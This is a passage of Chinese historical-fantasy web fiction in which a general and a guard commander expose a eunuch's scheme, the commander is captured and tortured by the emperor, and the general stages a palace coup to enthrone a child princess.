周秉文抬眼,奉茶的内侍识相离开。他的视线划过战战兢兢的李用,语气隐隐显出杀机:“另有一件事,你要替朕查清楚。”
26. 亡命
白鹊造访长安宫后,周秉文虽未恢复早朝,心情却明显好了许多。为此,提心吊胆的内侍监们终于松了口气,楚指挥使也终于不必日夜留守宫内。不知是皇上念及楚大人值守辛苦,还是敲打后的一点恩赐,总之慷慨放了他三日休沐。
楚庭装模作样在寓所待了半日,而后出门随意逛了逛,确认无人跟踪,才悄悄翻进云骑都尉府。
萧时运正在院中练剑,乍见楚庭落地,却也不收招式,直直刺过去。楚指挥使抽刀挡下,后退半步卸了力,顺势斜撩削砍。
她仰身避过,随即抬剑横斩,逼得楚庭撤身躲开。
楚指挥使退至廊下,似乎不打算再纠缠,萧时运的剑却追过来,锋刃堪堪擦过衣带,笑:“再玩一会儿。”
萧将军意犹未尽,她的搭档却立在原地不为所动。萧时运见状只得罢手,剑锋在半空划过漂亮的弧光,轻巧收入鞘内。日光随着她的动作切过发冠,一晃流光似金的璀错。
“楚大人有心事?”
冬日朔风萧瑟,日影斜照时,薄而亮的光落在身上,零星一点暖意也透出力不从心的落寞。楚庭抿唇静了片刻,与萧时运进了屋内,皱眉道:“司礼监孙随堂与薛掌柜她们是同乡,与崔掌柜的姐姐相熟。但查不到他和柳桥巷有什么关系。”
王善柔随老夫人进京后,曾在城西的柳桥巷住过一段日子。后来崔老夫人回南平,王善柔不知所踪。
他略顿了一下:“珠翠楼的常客,倒有几个内侍监的身边人。”
南平这桩案子查到现在,崔家稀里糊涂赔了命,沈小姐平安活了下来,内侍监的幕后主使仍未露真容。楚庭不喜欢这种扑朔迷离的困惑。缇骑司办案的直觉告诉他,真相近在咫尺,可眼下的情形,并不容许他们大张旗鼓查问。
萧时运给两人各倒了杯茶:“后日信王邀我去明月楼一叙,暂且看看他的说辞。”
楚庭闻言冷笑:“我还没找他算账,他倒自己找上门来了。”
“让他再得意几天吧。”萧时运喝了口水,面上倒没什么情绪,“崔家的事现下已不值得费神,你这么在意,是宫里有什么异样?”
楚庭摇了摇头:“我只是担心这个人和周惟简有什么隐情,再跳出来碍事。”
“周秉文也很奇怪。”楚指挥使皱眉看着自己的搭档,“他前两天不知为什么忽然问起周沅,得知她还活着,把她丢去八卦楼跟着苏筠修习道法了。”
“大概是别扭吧。”萧时运嗤笑一声,“眼看子嗣无望,终于想起自己还有个女儿,不想册封,却又是唯一的血脉。”
她看了楚庭一眼,岔开话题:“筠筠怎么样?”
“周秉文暂时放下了怀疑。如今丽妃掌后宫事,八卦楼的用度也由她安排,不过两人为了避嫌,平日没什么往来。”
得知同伴一切顺利,萧时运放心了些,戳了戳眼前人的脸:“你今天既然不用回值房,晚上要不要留下来?”
楚指挥使愣了半晌,欲盖弥彰别开脸:“你在开玩笑吗?”
“楚大人想哪去了。”萧时运若无其事歪头,指尖轻轻碰了碰他泛红的耳根,激得楚庭猝不及防抖了一下,又听见始作俑者笑,“青枝从北关带回来些西域香料,还有些别的奇怪特产。她和小桃折腾出不少新菜,味道还不错,我想留你尝尝。”
她打量了一下眼前人,笑眯眯道:“楚大人如果真想,也不是不行。”
楚庭闻言横她一眼,没说话。
第三日。明月楼。
萧时运到时,周惟简已在包间内。
信王殿下看见她,依然是那副云淡风轻的从容,既未怪她迟到,也全然不像才拐弯抹角算计完他们的小人,轻飘飘与萧将军笑:“我还以为,楚指挥使会一起来。”
这你就要感谢你的好哥哥了。萧时运想。要不是周秉文半夜突然召楚大人回宫,他现在大概真会来揍你。
萧时运半倚在桌边并未落座,漠然道:“有事直说吧。”
周惟简盯着眼前人看了一会儿,语气玩味:“将军生气了?”
萧时运懒得跟他废话,直白挑破话题:“崔家背后的人是谁?”
周惟简低低笑了一声:“我为什么要告诉将军?”
“凭萧家军是你唯一能仪仗兵马。”她毫不留情翻了个白眼,“你如果真有本事拉拢上直十二卫或者宣同守军,现在也用不着和我在这虚与委蛇。”
“我是诚心想和将军合作。”周惟简抬头看向萧时运,眼底一闪而过不甘心的狠戾,“可将军却不坦诚。”
“你既然已经答应了我,为什么还要和那个野种凑在一起。”他咬牙切齿瞪着眼前人,“论出身正统,我难道还比不过楚庭吗?”
啊?
萧时运注视着小王爷目光里翻涌的怨毒,忽然很想笑。
“信王殿下不会以为,我是想帮楚指挥使认祖归宗吧?”
她忍不住抬手揉了揉额角:“我真是不明白,你脑子里装得都是些什么玩意。”
明明玉牒上还有周沅这个公主,周惟简却完全没放在眼里,竟然把楚庭这个明面上和皇室八竿子打不着的鸾仪卫指挥使,当成皇位竞争者。
小王爷以己度人,实在冤枉萧将军了。
“就算我知道楚庭有那么一点可能是周秉文的儿子,皇室宗亲又怎么可能轻易认下这种不明不白的事?”
“我放着殿下这个盟友不管,去扶一个血统存疑的私生子,是嫌造反太没挑战性,要给自己创造点困难吗?”
“而且周秉文和楚寻义作孽的时候,姑姑都还在边关没回京呢,我从哪听这种皇家秘闻?”
“你在猜忌之前,能不能先控干净脑子里的水?”
周惟简被萧时运一连串反问砸得懵了半晌,才反应过来:“你不知道楚庭的身世?”
萧时运:“……”
她艰难忍住揍人的冲动,嫌弃白他一眼:“废话。”
因为姑姑的缘故,她是知道些上不得台面的旧闻,却也不至于对宫廷辛秘了如指掌。
周秉文和楚寻义当年在宫外的确有过一点风流传闻,可如果不是周惟简找上门,谁能想到这两个人畜生到这种地步。
“那楚庭为什么半夜去找你?”
萧时运脸色沉下来,冷声问:“你一定要知道?”
周惟简和她对峙良久,最终悻悻妥协:“如果将军说实话,我可以告诉你内廷那个人是谁。”
他眼下的确不能和萧时运翻脸。
萧时运在周惟简对面坐下,思及六月无意得知的秘密,虽说是扯谎,语气里难免多出几分真情实感的愠怒:“昭惠皇后死得蹊跷,我需要楚庭帮我去查姑姑的死因。”
这答案实在出乎意料,周惟简盯着眼前人疑惑问:“为什么选楚庭?”
“姑姑在时的旧人所剩无几,我不喜欢和内侍监的阉人打交道。楚庭常侍君侧,又佥缇骑司事,想来查个宫妃谋害皇后的旧案,也不算太难。”萧时运摊手,“且楚大人也不是什么正人君子,我不过随着撩拨了两句,他自己就上钩了。”
周惟简显然对萧时运所谓的撩拨和上钩脑补了什么,眼里划过些许忌妒,再开口时,质问里带了点莫可名状的别扭:“可我记得,楚庭一向不近女色。”
“信王殿下对圣上看起来忠心耿耿,不也和我在这密谋造反?”萧时运懒洋洋揭过他的疑虑,随口道,“我原本不想找楚庭,可贤妃死了,宋妙静一家独大。我一个外臣,平日和后宫接触甚少,与其费劲再扶个人帮我对付丽妃,倒不如从前朝找帮手。”
周惟简立刻反应过来她的意思:“你怀疑昭惠皇后的死和丽妃有关?”
萧时运点点头,从容喝了口茶,眼底笑意轻讽:“而且殿下多虑了,楚大人不止对皇位没兴趣,还很乐意助我们一臂之力。”
周惟简狐疑盯着眼前人,就差把“你少骗我”四个大字直白写在脸上。
“他说他只是想为母亲报仇。”萧时运嗤笑一声,“其实这话是真是假都无所谓,毕竟,楚大人的反心是真的。”
“这我当然知道。”周惟简皱眉,“可你不担心他巧言令色之后,又过河拆桥?”
楚庭要是不想反,就凭秋狩时萧时运当着他的面与自己谋算皇位,就够他们死无葬身之地了。
但这也不代表他会信他的鬼话。
至高权力近在咫尺,怎么会有人甘愿放弃。
萧时运轻巧笑道:“如殿下所言,论及身份正统甚至兵权,楚庭都远不配与殿下相较,殿下还怕争不过
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他吗?”
兵权。
小王爷显然领会了萧将军的弦外之音,脸色缓和许多。
“明明鸾仪卫指挥使能帮我们做很多事,殿下这次的举动,可当真令人伤心。”她漫不经心支着下巴,轻轻点了点茶杯,“该说的我已经说完了,殿下若还想继续合作,是不是也该拿出点诚意来?”
周惟简抿唇沉默半刻,轻声讲:“是王忠。”
她佯装疑惑看向眼前人:“内侍监那几位一向谨慎,殿下是怎么知道的?”
“沈平川从崔放嘴里套出来的。”
“我派人接近王善柔时,原以为要费一番功夫劝说,没想到是她先提出来,要报复崔家。”信王慢慢叹了口气,“大概是恨崔放把她卖给太监换前程。”
王姑娘接触不到别的,却能在王忠熟睡时,帮他们偷出王忠的印。
她只有一个条件。
让崔家家破人亡。
周惟简用它伪造了些王忠和崔家商议放贷事的书信,让沈平川拿去威胁王呈笔,换了些御前的消息。
毕竟信件是假,事却也实打实做下,经不起查。
事发后王忠气势汹汹去京郊问罪,只见到一具悬梁自尽的尸首。
信王略顿了一下,语气透出些许残酷的喟然:“其实崔老夫人进京,原本是要置办崔放与王善柔成亲的首饰头面。”
“王姑娘好奇京中风物,也想跟来看看,崔老夫人又一向疼这个从女,便让她来了,也好自己挑些东西。”
却不想遇上了王忠。
王呈笔找上门时,崔放没怎么犹豫,就把自己青梅竹马的未婚妻换成了拔擢光禄寺的进身之阶。
“崔家的火是谁放的,殿下,还是王忠?”
“是我。不过即使我不杀他,王忠也要动手了。”周惟简若无其事与萧时运笑,“怀月的话在理,崔家手里的账册已毁,又想狗急跳墙,还是死了清净。”
既然已经知道内侍监的幕后主使,萧时运实在懒得再和周惟简纠缠,盈盈起身道:“多谢殿下解惑,臣府上还有公务要处理,先告辞了。”
“何必这么无情。”周惟简半是玩笑拦住眼前人,“明月楼的手艺可是京中一绝,将军不留下来尝尝?”
“还有一位等着我去哄呢。”她似笑非笑看着周惟简,“难道王爷舍得失去鸾仪卫指挥使这个助力?”
周惟简:……
萧时运带青枝出了明月楼,却一瞬收敛起方才的散漫,低声与同伴道:“崔家背后是王忠,这事得快点告诉楚庭。”
青枝应下,两人正要上马车,却见秦错从街对面过来,后面还跟着气喘吁吁的小桃。
萧时运抬头看了眼背后的明月楼,当机立断拽青枝上了马车,又和小桃比了个口型:“去东巷。”
青枝一路盯着后方,确认信王没有跟过来,才远远停在临街的巷口。两人进东巷后约过了一盏茶的时间,秦错带着小桃从另一边的窄巷赶过来。
“出什么事了?”
小桃跑得上气不接下气,扶着院墙缓了一会儿,才道:“府里那几个探子今日不知怎么了,一直往内院凑,被训过几次也不见收敛,门外街上也多了好多生面孔。我看情况不太对,和府上其他几位商议,先带着之前楚大人给的那些文书跑出来了,应该都在这里。”
“楚庭有消息吗?”
“卑职听完小桃姑娘的话,本想去找楚大人。”秦错语气显出戒备的冷峻,“可楚大人的家也和都尉府一样被监视了。”
“如果卑职没猜错,他们是内廷的人。”
萧时运瞳孔骤然紧缩。
楚庭出事了。
是哪一步出了纰漏。
她来不及细想,略看了眼小桃带出来的东西,对几人道:“我们立刻出城,有什么事到南平再说。”
青枝和小桃显然意识到眼下非同寻常的严峻,惟有秦错还愣在原地,萧时运又拽了一下鸾仪卫:“你也一起走。”
“可楚大人……”他怔怔看着萧时运,“我不能扔下他不管。”
“你现在回去和送死没区别。”萧时运用力攥住他的胳膊,“别磨蹭了,你也在缇骑司当差,难道还不清楚内廷的手段吗。时间拖得越久,楚庭越有可能没命。”
27. 君臣父子
几个时辰前,长安宫。
楚庭漏夜听诏时,忍不住想,周秉文又发什么疯。
时值四更,本该是夜长梦深的时候,楚指挥使纵马踏过空荡荡的街道,幽谧的蓝罩在头顶,众星罗列,孤月未沉。他在宫门勒马,无端分神半刻,想,不知道萧时运这会儿回府了吗。
一个面生的小珰低眉引他穿过重重宫门,两侧红墙高矗,沉沉的影压在夜里,愈发显出威不可侵的逼仄。
周秉文并不在平日见大臣处理政务的君行殿,而是内苑的北辰宫。
楚庭刚至阶前,就看到一个人被拖了出来。
是王忠。
引路的小珰对此置若罔闻,门口的李用迎过来,依然是往日不动声色的恭顺,抬手道:“楚大人请。”
楚庭盯着三人渐远的影子看了片刻,才转身入殿。
周秉文倚在窗边的矮榻上,面上看不出什么情绪:“看见王忠了?”
相较内侍监其他几位,楚指挥使和王呈笔格外不对付,如今自然乐见对手倒霉。不过御前并不是个适合幸灾乐祸的地方,是以低眼应道:“是。”
周秉文斜睨他一眼,甚至带了点戏谑:“平日你们两个没少烦朕,怎么这会儿王忠露了破绽,你反倒没个声响。”
困倦和疑惑在脑子里打架,楚指挥使略怔了片刻,道:“皇上已有明断,自然无须臣多嘴。”
看王忠被拖出去的样子,显然不是小事,可周秉文这会儿,似乎也没有很生气?
弘昌帝什么时候这么平和了。
“朕不留蠢货。”周秉文无动于衷喝了口茶:“王忠被人拿住把柄,漏了内廷的消息出去。藏不好自己的尾巴,又愧对一个忠字,内侍监这些奴才真是越来越不像样子了。”
漏了内廷的消息……
楚庭立刻想起崔家背后的宫里人。
难道。
他才压下心底的惊骇,又听到周秉文说:“别的倒罢了,可威胁王忠的人数次窥探辽远、宣同、关中军务,实在居心叵测。”
“王忠自作聪明,以为能真假掺半扯些谎搪塞。却误把监军巡边的事告知对面,坏了朕的安排。”
“可笑这个蠢人和对面僵持数月,只怀疑沈家受人指使算计他,对幕后的逆贼却毫无头绪。”
楚庭心下了然,的确是崔家的案子。
他一直想揪出来的那个家伙,竟然是王忠。
当真冤家路窄。
但这事怎么突然捅到了御前。
是周惟简?
可惊动周秉文对他没有任何好处,周惟简不至于蠢到这份上吧。
周秉文话说的笼统,楚庭佯装不知其中内情:“臣立刻去查。”
“李用已经在查了。”周秉文若有所思道,“另有一件事,你要帮朕办妥。”
“沈平川父亲往北关押运粮草,和镇西侯府私交甚笃,如今王忠话指沈家,朕不得不多想。”
“今日中午,朕打算传云骑都尉入宫一同用膳。”他漠然看着楚庭,“有的人放在宫外,朕实在不安心。”
什么……
为什么偏偏是这个时候……
楚庭强稳住心绪,艰难开口:“臣领旨。”
“左右离天亮还有些时候,你就留在长安宫歇息吧。”
楚庭呼吸一滞,随即低眉道:“皇上厚恩,臣不敢僭越。请皇上许臣在朝房听候差遣。”
周秉文慢慢转过手上的串珠,放任满室的缄默碾成臣下心中自危的惶然,才道:“去吧。”
朝臣议事休整的朝房分置长安宫东西两侧,先前引路的小珰将他送至望熙阁,却在室内站定,丝毫没有要离开的意思,楚庭立时心生警惕,冷声问:“你守在这做什么?”
那小太监温顺道:“李公公让奴才跟着伺候,大人若有事,可随时吩咐奴才。”
楚庭略打量了他一眼,皮笑肉不笑扯了下嘴角:“我可不敢用王忠的人。这没你什么事,滚吧。”
小太监慌忙跪下来:“大人息怒,这……这也是皇上的意思啊。”
楚庭闻言眯起眼,语气隐隐透出杀意:“你威胁我?”
“奴才不敢!”
“宫里惯例是你们内侍监的一言堂,是不是皇帝的意思,不全凭李公公心意。”
楚庭这话讲得极重,小太监不敢辩解,止不住跪在地上磕头求饶。楚大人原本就心烦,眼前又多了人聒噪,索性卸刀指了他的脖子,冷笑:“你是打算磕破头,好去御前和李用编排我吗?”
刀鞘冷硬硌在皮肉,小铛僵在原地,心里已是欲哭无泪。
他是知道鸾仪卫指挥使性子乖戾,却没想到这人竟然敢在宫里动刀子。早知这样,他说什么也得推了老祖宗这差事。
什么进不进步的,先有命活着再说吧。
小太监战战兢兢抖了半晌,又听见楚庭讲。
“从现在开始,我问什么,你答什么。”
他自然没有拒绝的余地。
“你从什么时候开始替李用做事的?”
“一……一年前。”经历过楚大人之前的恐吓,小珰自然不敢敷衍。他小心翼翼觑了眼楚庭的脸色,补充道,“奴才做错了事,原该被罚进宫正司,李公公替奴才遮掩过去了。为了报恩,奴才要将王忠平日的行事告诉李公公。”
“皇上为什么发落王忠?”
“可能……可能是放印子钱的事吧。”小太监提心吊胆讲出自己的猜测,“王忠一直暗地里放利钱,李公公知道后,只让奴才继续留心看着,直到今天下午,才忽然带奴才去见了皇上,让奴才把看到的事都说出来。但奴才说完就被带走了,还好皇上仁慈,留了奴才的性命继续在宫里伺候。”
“奴才离开后,李公公还在里面待了好一会儿,才让人把王忠叫来。再之后的事,楚大人也看见了。”
楚庭从小珰口中得知,王忠放利钱不止南平这一条线,只是最近崔家惹了官司,让王公公格外心烦,还警告底下人都小心点,别再着了什么人的道。
“李用带你去见皇上之前,宫里有没有什么异样?”
“好像没什么……”小珰努力想了想,“奴才是没资格进殿伺候的,李公公来叫奴才时,奴才也吓了一跳。”
他讲到这里,也忍不住嘀咕:“这么大的事,奴才原以为他会事先知会一声,也好有个准备。”
楚庭又问了几句,见他确实吐不出更多消息,才撤了刀,小铛刚松了口气,冷不防听见楚庭问:“你家主子就没有别的话带给我?”
“大……大人……”
刀光一霎晃过眼前,小太监立时僵在原地,哆哆嗦嗦半晌,再说不出一句话。
太明显了。楚庭腹诽想。特意让王忠从前的小徒弟来给他带路,甚至赖在朝房不走,不就是故意引他来问吗。
小铛跪伏在地,头紧紧贴着地面,颤声道:“王忠既除,余下的也只是些内侍省的家务事,请楚大人不要为难。”
“看来内侍监的脏事不少啊。”楚指挥使冷哼一声,“话说完了,就滚回去复命吧。”
楚庭和王忠的矛盾一直在明面上,李公公想用除去王忠卖他一个顺水人情,哪想到楚大人的心思,根本不在内侍监。
周秉文再次动手,定然是要对萧家赶尽杀绝。他们定的动手时间是明晚。
偏偏姓周的今日要她进宫。
楚庭砸了一下桌子,咬牙切齿想。周惟简当真碍事。
而且周秉文这么急切,甚至还想把他拘在长安宫……
楚指挥使侧身熄了灯,耐着性子在房里等了一刻,听到巡夜的侍卫自后窗下经过,估计一行人已经出了角门往长安宫方向去,才悄悄翻窗出了房间。
月落参横,缄寂浩然的蓝照在头顶,万间宫阙尚浸在睡梦中,白日的栉比轩危更多几分道不明的幽怅。然而楚庭才转过廊门,原本寥落无声的宫巷忽然步履嘈杂。
什么……
楚庭猛然回身,看到剑拔弩张的侍卫,领头的陈谷,以及,周秉文。
弘昌帝注视着眼前的逆臣,语气凛然:“抓活口。”
束手就擒任人宰割从来不在楚指挥使的
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考虑范围,他拔刀斩断迎面蒙过来的绳网,跃身往周秉文所在的方向冲。
陈谷立刻反应过来,挡在周秉文身前,高声道:“保护皇帝!”
楚庭接连砍翻数人,血在宫墙溅成一片,他死死盯着不远处那个玄衣男人,恨意灼烈翻沸。
可四面的侍卫源源不断涌成铁壁,势要将楚指挥使大逆不道念想与君威隔绝。
他鏖战良久,直至白刃翻卷,血污结成湿泞的壳,几乎将他困死在山穷水尽的绝境,每一寸伤口都在叫嚣筋疲力竭颓败,楚庭退至墙边,撑着刀勉强支起身,隔着一众如临大敌的上直卫,不甘心与始作俑者对峙。
要是……
要是真能在这里杀了周秉文该多好……
不知谁大着胆子靠近,重击一瞬剥夺意识,终于断了楚庭最后一点反抗。
再清醒时,一桶水冷不防泼在身上,盐水迅速浸透衣料,湿漉漉蚀进伤口,灼痛敲骨吸髓,楚庭在剧痛里挣扎良久,才勉强睁开眼。
除开绑他的刑架和潦草一套桌椅,屋内并没有其他陈设。侧面几扇窗皆被木板钉死,楚指挥使对缇骑司和刑部熟门熟路,诏狱和天牢都没有这个地方。
他还在宫里?
一只手掐进伤口,楚庭下唇瞬间咬得惨白,剧痛爬上脊骨,似有看不见的刀片划过附骨的筋膜,刀刀艰涩,声声刺耳,熬得人发疯。
仿佛过了许久,对面才撤去这份折磨。
“你是什么时候和搭上萧时运的?”周秉文冷冷看着他,“如果你想要个女人,为什么不和朕开口?”
楚庭怔愣一霎,忽然有点想笑。
“你居然觉得我是为了萧时运?”他咽掉嘴里的腥甜,轻蔑眯起眼,“她也配?”
左右他不指望自己能熬到萧时运打进宫,人之将死,其言也肆无忌惮,是以楚庭迎着周秉文目眦欲裂的暴怒,艰难扯出一个嘲笑:“周秉文,你连是谁在盯着你的皇位都不知道,到现在还被人牵着鼻子走,真是蠢到家了。”
“你抓了我也没用。”他嗤笑道,“满京城想杀你的,可不止我一个。”
楚庭的戏谑毫无意外激怒了弘昌帝,心底那个见不得人的、随着年岁增长愈发蓊勃的念想与期待撞上此刻暴跳如雷的忿恚,无异于火上浇油,他猛然扼住楚庭的脖子:“无论是谁,这四年来,朕何曾亏待过你!”
他死死瞪着眼前人:“你究竟为什么——为什么要背叛朕!”
“你知不知道——”
弘昌帝的怒喝忽然顿住,无法宣之于口的隐秘卡在喉间,手上的力道也不由松了些。
楚庭见状,眼底讥诮愈发放肆:“真可笑,连自己做过的事都不敢认。原来你这种人,也知道礼义廉耻?”
周秉文难以置信愣在原地:“你……你怎么……”
倒海翻江的盛怒与震惊蒙蔽心神,以至于周秉文甚至忽略了,楚庭在有意把话题带离萧时运。
“对啊,我知道。”
他直直看着周秉文。
“那个可能无论是你还是楚寻义,都让我无比恶心。”
“……”
楚庭为自己这句逞强换来了一记耳光,以及,数十下鞭子。
更多的血和着盐水滴落,汇成弘昌帝脚下蜿蜒腥锈的血污。失血的阴冷和苦痛让楚庭眼前出现连片飘忽的黑影,他不确定自己还能拖延多久,但周秉文抓他闹出那么大动静,八卦楼和承明宫不至于一点风声都察觉不到。
快点啊萧时运。
再不逃就来不及了。
周秉文捏着楚庭的脸,强迫他抬起头:“把你知道的吐干净,朕可以考虑放过你。”
“放过……”楚庭话讲的虚弱,神情却更显出痛快的毒怨,“皇上还不知道吧。”
血随着他开口无知无觉从唇边溢出:“楚寻义是我杀的。”
寻义?
楚庭扔出来的真相过于狂悖,以至于周秉文一时没反应过来。
“皇上不是很想那个畜生吗。”他低低笑了一声,“别急,会有人送你下去陪他。”
28. 幼帝
京兆官道。
天寒日短,残阳早早没入天际,只剩凄厉一线锈红洇在天幕。青枝自京郊与萧时运分别,一路急驰,终于在最后一抹残红没进夜色之前,瞧见了园子前飘摇两盏灯笼。
她翻身下马,急急上前叩门,守门人略开了一隙,看清来人,忙不迭将她迎进来,又往园中通传。
一个穿元青交领箭袖的男人匆匆自内院走过来,他与萧时运有着相似的眉眼,如出一辙的高挑与凌厉,森森如见松柏之茂。
是镇西侯的长子,萧时遇。
“周秉文已经起疑心,我们得立刻动手。”青枝言简意赅,“小姐正在京郊集结兵马。”
萧时遇面上闪过些许担忧,道:“我派人通知兴县。京城内现在是什么情况?”
“云骑都尉府已被周秉文监控,分散在城内的人暂时还安全,小姐离京前作了安排,收到信号,他们会一同动手。”
与此同时,萧时运立于荒坡之上,遥遥注视着京城的万家灯火,身侧长风萧瑟,白刃霜寒。
于她而言,奔袭与亡命都已不算陌生,肆意的,急切的,狼狈的,炙热的战栗烧在胸腔。
她终于走到了这一日。
萧时运并不是一个喜欢感慨的人,也很少看自己走过的路。尸山血海的战场从来没有回头的机会,击溃前敌,或者命丧黄泉。
你死我活,仅此而已。
夜半时分,明月高悬于城楼之上,更夫的梆子敲过街巷,万家灯火归于寥落,惟城楼上守夜的士兵昏昏欲睡倚在垛口边,有一搭没一搭抱怨着今年冷得奇怪的天气,忽然听见城墙下几声尖利的哨音。他疑惑循声看去,冷不防背后一柄刀捅进身体。
方才搭话的同伴还没来得及拔刀,眼前倏尔寒光一闪,也被割穿喉咙。
城墙上两人利落清理掉守夜的士兵,底下的同伴也已打开城门,顺利与北关战友汇合。
马蹄急踏过街巷,萧时运与萧时遇领兵一路飞驰,直往宫城去。
事起突然,养尊处优多年的禁军直到这群不速之客逼近宫门,才反应过来迎敌。传讯的守卫匆匆跑下城楼,却猛然僵在原地。
一队侍卫横七竖八躺在宫道,显然枉做了新鬼。
而原本落钥的宫锁,竟不知什么时候被人打开了。
萧时运纵马过宫门时想,她的确舍不得楚大人死。
进城之前,她虽说已经收到苏筠递出来的消息,却也做好了在宫门前打一场硬仗的准备。
然而楚大人留在宫里的内应不仅躲过周秉文的怀疑,及时和苏筠搭上了线,还成功帮他们开了宫门。
如此熨帖稳妥的搭档,满京城当真找不到第二个。
听到动静的侍卫们逐渐赶过来,火光凄厉照破长夜,往日秩序威严的宫城污血狼藉,前世今生的嘶吼与惨叫重叠在一起,有一瞬间,她仿佛又回到弘昌十四年那个末路穷途的中元夜,血雨腥风的尘凛然如刀,平等割过万物,无论贵贱,无论立场,无论善恶。
这一次,却将是周秉文一败涂地。
避免这位色厉内荏的帝王逃跑,萧时运打进长安宫时,分出一部分人手绕去了后殿门。
出乎她意料,面对涌入宫室的叛军,周秉文还是很好的维持了一个帝王八风不动的威仪。即使长安宫半数上直卫已成刀下亡魂,他依然立于丹墀之上,气定神闲注视着底下大逆不道的佞臣。
阶前陈谷适时开口,帮他的君上完成这场胜券在握的挑衅。他挟持着楚庭,手里的刀又贴近了些:“萧时运,你看看这是谁。”
楚指挥使在宫巷和暗室流了太多血,此刻已经没什么意识,隐约听到萧时运的名字,艰难睁开眼,却也实在没力气再做什么反应。
周秉文没有从萧将军脸上看到预想的情绪,不由皱起眉。陈谷仿佛察觉到来自身后的不悦,又道:“萧时运,你再执迷不悟,他的命可就保不住了。”
萧时运:……
大哥你是来搞笑的吗?
又不是什么苦情话本子,你死我活夺权的时候,这种话到底能威胁到谁啊?
萧将军一时无语,陈谷却会错了意,再次抬高了声音:“你若不救楚庭,这满殿人可都看着,他们跟随的主子,到底是什么无情无义——”
余音未出口,一支弩箭直直刺穿他的面门。
萧时运跃身抬腕射翻近侧几个侍卫,顺势揽住楚庭的腰将他带离,青枝等人立刻跟上来,殿内一霎杀声如沸。
眼看上直卫翻盘无望,周秉文悄悄摸至殿侧小门想溜走,萧时运瞥见他的动作,随手将怀里人推给秦错。一个翻身借力踏过栏杆,稳稳落在弘昌帝面前,冷笑:“皇上这是想去哪啊?”
周秉文顿时面色惨白。
她懒得跟这人废话,照着他腹部用力踹了一脚。弘昌帝于是又回到了他忠诚的丹墀前——就是姿势不太雅观。
萧将军提着周秉文的领子把人丢给萧时遇,自己则跃上西偏殿屋顶,将方才射杀陈谷的苏筠接下来:“去拟传位皇太女的诏书吧。一会儿就该通知群臣迎新帝登基了。”
眼看皇帝败落,幸存的上直卫们陆续放弃反抗,长安宫杀声渐止。萧时运安排好善后事,随意倚在桌边看苏筠写诏书;周秉文则被青枝绑好,强按着跪在一旁,嘴里愤愤不平的咒骂太多,萧将军嫌吵,顺手找了块布堵了他的嘴。
人勉强算是安静了,但头顶黑红两个数字乱闪,晃得她眼烦。
萧时运正想着要不要给周秉文来一下,让他暂且安眠,余光瞥见小桃从外面进来:“丽妃带公主来了。”
两人走进殿内,萧时运在她们脸上看到惶然的忧惧。
而周秉文看见自己的后妃,剧烈挣扎着要起身,目光为匕,恨不得把这几个人千刀万剐。萧时运嫌他在边上碍眼,照着他两腿之间踹了一脚,让青枝暂且把人拖到内室,与宋妙静笑:“我说过,会让娘娘心想事成。”
宋妙静看见萧时运动手,下意识捂住了周沅的眼睛。她抿唇静了片刻,把周沅推到萧时运面前:“我先去看着后宫那些小丫头,免得她们这时候跑出来添乱,白白丢了性命。”
萧时运略微颔首:“有劳娘娘。”
道不明的喟然坠在心口,宋妙静沉默走出宫殿,经过殿前汉白玉阶时,她的鞋面与裙角不可避免沾染血污。狞锈的褐色纠缠进繁复细密的
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刺绣中,久居深宫的宠妃也终于见识到这世界直白的血雨腥风。
她在宫门的牌匾下驻足,回望碧瓦飞甍,与这座她跪了十余年的宫殿对峙片刻,忽然感觉到如释重负的解脱。
朝臣们很快知道了宫墙内的巨变,宣百官朝见的钟鼓声响起时,他们当中的很多人其实并不情愿入宫——但显然眼下并不是个告病推脱的好时候,除非你骨头够硬,打算去给弘昌帝做忠臣义士的陪葬。
很遗憾,周秉文身边,并没有太多忠心。
萧时运只在意一个人。
太极殿甲士林立,百官在尚且沾血的白刃中惴惴等了一刻,才见这场谋反的主谋抱着周秉文唯一在世的血脉走进殿内。
萧时运迎着群臣恐惧又惊疑的神色径直坐上龙椅,陆逊业的脸色也在此刻难看到了极点。
她和他对视片刻,猜老丞相心里一定在骂她狼子野心悖反天罡大逆不道厚颜无耻……总之实在罪该万死天打雷劈。
欸,他要是知道自己好儿子也知情,会不会气得打断陆明臣的腿。
周惟简也来了,脸黑的和陆相如出一辙。
挺好的。
只要信王殿下不开心,她就开心了。
是以她漫不经心笑:“圣上得知两道天灾人祸,急火攻心至御体违和病痛缠绵,又懊悔纵容奸人乘机诳惑延误国事,自觉罪业深重愧对天下百姓,特传位于皇太女,退居南宫。”
在场百官都不傻,自然知道周秉文不可能因为什么天灾人祸误用奸臣就逊位,只不过宫变已成定局,这个时候拆台,多少有点嫌命长了。
而很不巧,陆逊业正是觉得自己活够了的那个。
他张嘴正要质问,角落一个御史抢先跳出来喊,公主即位不成体统。
蠢货。
萧时运斜乜他一眼,不必开口,自有人送他去与阎王辩经。
想争以死明志的机会是吧,来,满足你。
诸公看大殿上殷红的血迹和明晃晃的白刃咽了咽口水,到底没人敢再聒噪。
惟有陆相怒目圆睁:“萧时运,你敢伪造圣旨!”
“丞相在朝为官数十年,不会连这玺印都不认得吧?”萧时运笑眯眯掷下诏书,“陆相,这可是先帝一早属意的继承人。”
陆相大概是被气狠了,手指发抖指了她半晌,愣是没骂出一个字来。
算了,老人家都这么个年纪了,她还是好好劝劝,别给气出个好歹来。
“您若不信,左右这会儿还没移宫,您可以亲自去君行殿问问,或者修书一封,找山南的陆公子解惑。”
陆逊业闻言一愣。
萧时运这时候提到陆明臣,摆明了是在群臣面前拉陆家人下水。
只是以陆逊业对自己儿子的了解,萧将军此刻的话,只怕并非全然信口开河。
他盯着萧时运怀里那个孩子,脸色几变,最终长叹一口气,跪地呼万岁。
这是认了。
对于群臣而言,有人带头就好办多了——跟着领导总没错嘛。
人群窸窸窣窣跪下。
萧时运坐在最高处,低眼看一片弯伏的脊背,满意地笑起来。
29. 锦帐春
事已成定局,萧时运紧绷的神经终于放松了些。
此时百官已散去衙署当值,殿内只剩下自己人。
哦,还有个信王。
周惟简仰头瞪着御坐上的女人,眼里的愤恨与不甘满得几乎要溢出来,萧时运懒洋洋笑起来:“信王殿下还有事?”
小王爷刚才要是坚持不跪乱臣贼子,她还敬他有几分骨气。
然后送他上路。
但显然,小王爷并不想给自己的好哥哥陪葬。
既已随众人山呼万岁,可不能不认账啊。
两人相持片刻,信王冷冷扯了下嘴角:“我真是低估了你的野心。”
他视线移向周沅,眼底讥诮刻薄:“扶个公主上位,日后杀起来也方便。”
